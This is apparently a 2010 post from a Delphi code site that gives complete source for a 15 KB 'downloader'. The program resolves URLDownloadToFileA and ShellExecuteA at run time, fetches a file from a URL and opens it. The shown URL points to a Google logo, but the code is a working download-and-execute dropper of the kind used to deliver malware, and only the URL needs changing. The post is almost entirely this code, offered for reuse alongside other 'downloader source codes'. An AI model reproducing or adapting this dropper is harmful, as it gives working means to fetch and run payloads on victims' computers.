Internal Downloader - Counterstrikewi
Post date: May 24, 2010 7:15:47 PM
{
Coder: Counterstrikewi
Website: www.delphibasics.info
Compiled: Delphi 2007
For: Viotto :)
}
This code is standard code to produce a small downloader ( 15Kb ) which downloads the google logo from the internet using urldownloadtofilea and executes it using shellexecute windows api. Api's are dynamically imported to reduce the final size of the application.
program Downloader;
uses
Windows;
const
szSourceFile = 'http://www.google.co.za/intl/en_com/images/srpr/logo1w.png';
szDestFile = 'C:\GoogleLogo.png';
szUrlmon = 'urlmon.dll';
szUrlDownloadToFileA = 'URLDownloadToFileA';
szShell32 = 'shell32.dll';
szShellExecuteA = 'ShellExecuteA';
szOpen = 'open';
var
hUrlmon, hShell32 : Cardinal;
xURLDownloadToFileA : function(Caller: Pointer; URL: PAnsiChar; FileName: PAnsiChar; Reserved: Cardinal; StatusCB: Pointer): Cardinal; stdcall;
xShellExecuteA : function(hWnd: Cardinal; Operation, FileName, Parameters, Directory: PAnsiChar; ShowCmd: Cardinal): Cardinal; stdcall;
begin
hUrlmon := LoadLibraryA(szUrlmon);
@xURLDownloadToFileA := GetProcAddress(hUrlMon, szUrlDownloadToFileA);
xUrlDownloadToFileA(nil, szSourceFile, szDestFile, 0, nil);
hShell32 := LoadLibraryA(szShell32);
@xShellExecuteA := GetProcAddress(hShell32, szShellExecuteA);
xShellExecuteA(0, szOpen, szDestFile, nil, nil, 2);
end.
More Delphi downloader source codes: